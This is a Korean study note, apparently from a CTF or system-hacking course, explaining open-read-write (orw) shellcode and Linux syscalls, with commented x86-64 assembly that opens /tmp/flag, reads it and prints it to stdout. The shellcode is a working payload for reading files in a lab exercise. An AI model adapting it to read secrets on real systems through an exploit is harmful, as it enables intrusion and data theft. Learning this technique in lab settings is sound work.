orw 쉘코드?
- orw 쉘코드란 파일을 열고, 읽은 뒤 화면에 출력해주는 쉘코드이다. (open-read-write)syscall
syscall
- syscall(systemcall)이란 시스템 호출(system call)은 운영 체제의 커널이 제공하는 서비스에 대해, 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.
orw에서 필요한 syscall
실습 /tmp/flag 읽어오기
1. open(파일 오픈)
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD\_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall\_open
syscall ; open("/tmp/flag", RD\_ONLY, NULL)
2. read (파일 읽어오기)
mov rdi, rax ; rdi = fd : rax에 반환된 file dscriptor rdi에 저장
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf : 버퍼 크기 증가
mov rdx, 0x30 ; rdx = 0x30 ; len : syscall 인자로 넘겨줄 버퍼크기 설정
mov rax, 0x0 ; rax = 0 ; syscall\_read
syscall ; read(fd, buf, 0x30) : syscall
3. write (파일 출력)
mov rdi, 1 ; rdi = 1 ; fd = stdout : 레지스터 stdout으로(출력) 설정
mov rax, 0x1 ; rax = 1 ; syscall\_write
syscall ; write(fd, buf, 0x30) : syscall